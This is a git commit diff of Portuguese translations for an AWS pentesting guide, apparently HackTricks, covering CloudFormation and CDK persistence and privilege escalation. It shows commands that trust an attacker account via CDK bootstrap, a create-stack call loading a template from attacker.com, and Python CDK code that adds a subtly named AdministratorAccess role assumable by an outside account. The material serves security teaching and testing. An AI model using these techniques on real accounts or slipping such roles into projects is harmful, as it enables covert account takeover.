Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:18:28 +00:00
parent 0e2bb51ed5
commit 6ea3c3da73
4 changed files with 79 additions and 4 deletions

View File

@@ -0,0 +1,23 @@
# AWS - Persistência do Cloudformation
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Para mais informações, acesse:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### Pilha de Inicialização do CDK
O AWS CDK implanta uma pilha CFN chamada `CDKToolkit`. Esta pilha suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a pilha com parâmetros, ou o AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
Na página seguinte, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**:
Na página a seguir, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**:
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -53,7 +53,7 @@ A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesm
Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack.
A seguinte exploração é uma **variação da**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
A seguinte exploração é uma **variação do**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -103,8 +103,53 @@ Um atacante poderia abusar dessa permissão sem a permissão passRole para atual
**Impacto Potencial:** Privesc para os papéis de cloudformation anexados.
## AWS CDK
O AWS cdk é um kit de ferramentas que permite aos usuários definir sua infraestrutura como código em linguagens com as quais já estão familiarizados, além de reutilizar facilmente seções. O CDK então converte o código de alto nível (ou seja, python) em templates de Cloudformation (yaml ou json).
Para usar o CDK, um usuário administrativo deve primeiro inicializar a conta, o que cria vários papéis IAM, incluindo o *papel exec*, que tem permissões \*/\*. Esses papéis seguem a estrutura de nomenclatura `cdk-<qualifier>-<name>-<account-id>-<region>`. A inicialização deve ser feita uma vez por região por conta.
Por padrão, os usuários do CDK não têm acesso para listar os papéis necessários para usar o CDK, o que significa que você precisará determiná-los manualmente. Se você comprometer a máquina de um desenvolvedor ou algum nó de CI/CD, esses papéis podem ser assumidos para conceder a si mesmo a capacidade de implantar templates CFN, usando o papel `cfn-exec` para permitir que o CFN implante quaisquer recursos, comprometendo totalmente a conta.
### Determinando os nomes dos papéis
Se você tiver `cloudformation:DescribeStacks`, os papéis estão definidos em uma pilha chamada `CDKToolkit`, e você pode extrair os nomes de lá.
Se você estiver em uma máquina que foi usada para construir e implantar projetos CDK, pode extrair os nomes de `cdk.out/manafest.json` no diretório raiz dos projetos.
Você também pode fazer uma boa suposição sobre quais são. `qualifier` é uma string adicionada aos papéis permitindo que várias instâncias da inicialização do CDK sejam implantadas ao mesmo tempo, no entanto, o valor padrão é codificado como `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Adicionando código malicioso ao código-fonte do projeto
Se você pode escrever no código-fonte do projeto, mas não pode implantá-lo você mesmo (por exemplo, o desenvolvedor implanta o código via CI/CD, não a máquina local), você ainda pode comprometer o ambiente adicionando recursos maliciosos à pilha. O seguinte adiciona um papel IAM que pode ser assumido por uma conta de atacante a um projeto python CDK.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Referências
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## CloudFormation
AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS.
AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pelo **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS.
### Enumeração
```bash
@@ -37,9 +37,15 @@ Na página a seguir, você pode verificar como **abusar das permissões do cloud
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Verifique se há **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation
Verifique por **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation
## Codestar